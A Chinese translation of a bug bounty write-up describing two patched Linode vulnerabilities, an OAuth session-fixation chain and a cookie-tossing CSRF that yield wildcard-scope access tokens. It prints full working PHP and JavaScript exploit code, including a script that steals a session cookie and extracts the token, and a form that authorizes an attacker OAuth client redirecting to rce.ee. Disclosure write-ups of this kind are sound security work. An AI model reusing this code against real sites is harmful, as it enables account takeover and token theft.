在2018年年中,Linode的Hackerone漏洞悬赏项目吸引了我,因为这个项目很活跃,管理得非常好,但很多漏洞细节并没有公开。我希望能找到漏洞,并对外公开某个漏洞细节。
Linode是一个VPS提供商,而用户购买的VPS将解析为<id>.members.linode.com
,而这也给了我灵感,因为这基本上意味着我们能完全控制linode.com
的子域,执行任何服务端脚本语言。
了解Linode的身份认证
Linode主要对外提供了4个Web应用:
https://manager.linode.com 经典Linode网站
https://linode.com/community 社区门户
https://login.linode.com OAuth服务器
https://cloud.linode.com 新型Linode网站
当我们完全控制子域时,可以读取任何和.linode.com
(cookie被设置为通配符域)有关的cookie,我开始研究[https://manager.linode.com](https://manager.linode.com)
中的session/CSRF的cookie,但所有cookie都正确地设置为only manager.linode.com
,然后我转移到另一个应用[https://linode.com/community](https://linode.com/community)
,它主要和OAuth相关。
先让我们理解一下认证过程是怎样的。
当点击Login
按钮时,会向[https://www.linode.com/community/questions/login?next=/community/](https://www.linode.com/community/questions/login?next=/community/)
发送一个GET请求。
HTTP/1.1 302 Found
Server: nginx
Date: Sat, 29 Sep 2018 23:36:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Vary: Cookie
Location: https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code
Set-Cookie: sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:36:51 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
.....
这个回复中包含以下操作:
- 设置cookie
sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd
,它和state=bce45f7c-6a37-46c7-9ede-c9979c152081令牌相关联,针对的域名为.linode.com
- 重定向到OAuth页面
[https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code](https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code)
- 如果已在
[https://login.linode.com/](https://login.linode.com/)
登录,用户会转到[https://www.linode.com/community/?state=bce45f7c-6a37-46c7-9ede-c9979c152081&code=6f422a104f5bf039f9dc](https://www.linode.com/community/?state=bce45f7c-6a37-46c7-9ede-c9979c152081&code=6f422a104f5bf039f9dc)
state参数令牌会和之前设置的sessionid进行交叉检查,如果验证成功,响应如下:
HTTP/1.1 302 Found
Server: nginx
Date: Sat, 29 Sep 2018 23:04:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Vary: Cookie
Location: /community/
Set-Cookie: sessionid=qaff7xdtoxxhnc6tds7ym2d7d9lpweci; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:04:02 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
....
- 接着sessionid会重置,这是社区门户的真实session,此时用户已登录到社区门户。
Exploiting… OAuth + Cookies = ❤
首先我希望从社区门户获取通配符范围的访问令牌。若我们希望绕过CSRF机制登录到社区门户,则需要这个令牌。登录机制会查找sessionid
并根据给定的状态令牌交叉验证它。
因为我们还可以设置和.linode.com相关的cookie,所以可以绕过。
相关代码如下:
<?php
echo "<iframe src='https://li859-243.members.linode.com/setcookie.php'></iframe>";
?>
<script>
setTimeout(function(){ document.write("<iframe src='https://li859-243.members.linode.com/stc.php'></iframe>"); }, 6000);
</script>
上述代码仅仅是打开setcookie.php
的iframe,然后在6秒后打开stc.php
的iframe。
让我们来了解一下什么是setcookie.php
。
<?php
error_reporting(0);
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_HEADER => 1,
CURLOPT_URL => 'https://www.linode.com/community/questions/login?next=/community/'
));
$resp = curl_exec($curl);
$headers = [];
$data = explode("\n",$resp);
$headers['status'] = $data[0];
array_shift($data);
foreach($data as $part){
$middle=explode(": ",$part);
$headers[trim($middle[0])] = trim($middle[1]);
}
$pattern = '/events%3Amodify/';
$replacement = '*';
$p = preg_replace($pattern, $replacement, $headers['Location'], -1 );
$xf=explode("; ",$headers['Set-Cookie']);
foreach($xf as $part){
$middle=explode("=",$part);
$cookie[trim($middle[0])] = trim($middle[1]);
}
$epoch = shell_exec("date --date \"{$cookie['expires']}\" '+%s'");
setcookie("sessionid", $cookie['sessionid'], $epoch, "/", ".linode.com");
curl_close($curl);
header("Location: $p");
?>
-
从服务器端请求登录端点以获得有效的cookie
-
从响应中提取所有标头
-
修改
Location
,将scopes设置为*
-
提取
Set-Cookie
,它由sessionid组成,而sessionid和Location
中的状态令牌相关联。 -
将提取的session设置为用户的session,重定向到修改后
Location
中的值。
由于sessionid和状态令牌都验证成功,用户将使用*
范围的访问令牌登录到社区门户。
此时,一切都准备好了,Linode将针对.linode.com
设置合法的session(使用sessionid)。我们可以获取合法的session并使用它登录,而且我们可以直接从页面源码中提取访问令牌。让我们使用stc.php(窃取cookie并提取令牌)来实现自动化。
<?php
$x = $_COOKIE['sessionid'];
echo "Session ID : <b>".$x."</b><br>";
$t = shell_exec("curl https://www.linode.com/community/ -H \"Cookie: sessionid=".$x."\"");
$p = '/notificationsToken.*\"/';
preg_match($p,$t,$token);
echo "Access token with `*` Scope : <b>".substr($token[0], 21)."</b>";
echo "\n\n";
?>
我们只需要从用户会话中获取sessionid,然后从服务器端发出curl请求,使用一些正则表达式来获取访问令牌,就可以对任何资源进行读写调用。
PoC视频如下:
https://youtu.be/rA9YaErTIIw
时间流:
2018年9月30日:初步发现和报告
2018年10月1日:已确认
2018年10月3日:奖励为2000美元
2018年10月4日:已解决
其他利用
再让我们关注一下CSRF机制。
除了[https://login.linode.com](https://login.linode.com)
,其他网站的CSRF看似很安全。
JWT在session
中被设置,这cookie由一个CSRF令牌组成。cookie的作用域并不是任何域,所以我们无法读取它。
用户登录后,用户session会绑定到newsession cookie,但是CSRF令牌保持不变
我们可以从所控制的VPS中设置这个cookie,但是,我想这和浏览器和服务器中的哪个cookie会被首选有关。
在示例中,我设置的cookie首先被服务器读取,因此用户的session被丢弃,要求用户再次登录。但是,即使Linode设置的cookie不位于Path=/
,我们也可以添加Path=/login
以优先获取我们的cookie,现在任何位于/login/*
下的路径都获得必要端点上的首选cookie。以下是HITCON 2019中filedescriptor演讲的一些幻灯片,其中详细解释了这种攻击。
所有的授权都是在login.linode.com
(OAuth相关)上完成的,因此我想强制用户以通配符来授权我们的客户端应用。
以下是相关的PHP代码。
<?php
// Make request to https://login.linode.com/login
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_HEADER => 1,
CURLOPT_URL => 'https://login.linode.com/login',
CURLOPT_HEADER => 1,
CURLOPT_RETURNTRANSFER => 1
));
$resp = curl_exec($curl);
//Extract Set-Cookie header value
$headers = [];
$data = explode("\n",$resp);
$f = explode("; ", $data[10]);
$session = substr($f[0], 20);
$exp = substr($f[1], 8);
//Set-Cookie
$epoch = shell_exec("date --date \"{$exp}\" '+%s'");
setcookie("session", $session, $epoch, "/", ".linode.com",true);
curl_close($curl);
//Decode cookies for CSRF-Token and pass it to exp1.php
$b64 = explode(".",$session);
$b64[0] .= "=";
$b = base64_decode($b64[0]);
$xb = explode(",",$b);
$x = substr($xb[2],0,-2);
$csrf = substr($x,14);
header("Location: exp1.php?csrf={$csrf}");
<p><a href="#" id="target" name="x">Exploit</a></p>
<script>
(function() {
document.getElementById("target").on click = function() {
x = window.open("https://login.linode.com/login");
setTimeout(function() {
x.close();
document.forms["exploit"].submit();
}, 13000);
return false;
};
})();
</script>
<form method="POST" action="https://login.linode.com/oauth/authorize?client_id=e8ffd152f9d9a85a423b&scope=*&response_type=token&redirect_uri=https://rce.ee/linode-exploit.html" name="exploit" id="exploit">
<input type="hidden" name="csrf_token" value="<?php echo $_GET['csrf']; ?>">
<input type="hidden" name="client_id" value="e8ffd152f9d9a85a423b">
<input type="hidden" name="scope" value="*">
<input type="hidden" name="redirect_uri" value="https://rce.ee/linode-exploit.html">
<input type="hidden" name="response_type" value="token">
</form>
-
从服务器端发出一个请求并获得一个会话JWT
-
解码并提取CSRF令牌
-
用获得的JWT设置会话cookie
-
使用之前的CSRF令牌发出POST请求来对攻击者的OAuth应用进行授权。
PoC视频如下:
https://youtu.be/O13xCKbe2IE
时间线:
2018年10月13日:发现并报告
2018年10月15日:确认
2018年10月18日:获得750美元奖励,创造性的攻击获得1000美元奖励。
2018年11月14日:漏洞被解决
引用
https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers
https://github.blog/2013-04-09-yummy-cookies-across-domains/
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3476.html
来源:https://medium.com/@rootxharsh_90844/abusing-feature-to-steal-your-tokens-f15f78cebf74